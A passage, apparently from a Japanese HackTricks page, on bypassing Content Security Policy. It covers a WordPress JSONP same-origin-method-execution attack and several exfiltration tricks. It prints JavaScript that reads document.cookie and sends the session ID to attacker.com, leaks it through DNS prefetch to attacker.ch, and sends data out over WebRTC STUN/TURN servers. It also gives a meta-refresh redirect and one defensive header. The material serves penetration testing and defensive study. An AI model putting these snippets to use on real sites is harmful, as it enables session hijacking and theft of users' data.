攻撃者は、そのエンドポイントを悪用して、WordPressに対してSOME攻撃を生成し、<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>内に埋め込むことができます。このスクリプトは、'self'によって許可されているため、読み込まれます。さらに、WordPressがインストールされているため、攻撃者はCSPをバイパスする脆弱なコールバックエンドポイントを通じてSOME攻撃を悪用し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます... この攻撃を実行する方法の詳細については、https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/を確認してください。

CSP Exfiltration Bypasses

厳格なCSPがあり、外部サーバーと対話することを許可しない場合、情報を抽出するために常にできることがあります。

Location

攻撃者のサーバーに秘密の情報を送信するために、単にロケーションを更新することができます:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

メタタグを注入することでリダイレクトできます(これは単なるリダイレクトであり、コンテンツは漏れません)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。 ブラウザにホスト名を事前解決させるには、次のように指定できます: <link rel="dns-prefetch" href="something.com">

この動作を悪用して、DNSリクエストを介して機密情報を流出させることができます:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

別の方法:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

この問題を避けるために、サーバーはHTTPヘッダーを送信できます:

X-DNS-Prefetch-Control: off

どうやら、この技術はヘッドレスブラウザ(ボット)では機能しないようです。

WebRTC

いくつかのページで、WebRTCはCSPのconnect-srcポリシーをチェックしないと読めます。

実際、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードを確認してください:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

別のオプション:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CSPポリシーのオンラインチェック

CSPの自動生成

https://csper.io/docs/generating-content-security-policy

参考文献

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加しましょう!

ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握しましょう

最新のお知らせ 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう

私たちに参加して Discordで今日からトップハッカーとコラボレーションを始めましょう!

HackTricksをサポートする

Last updated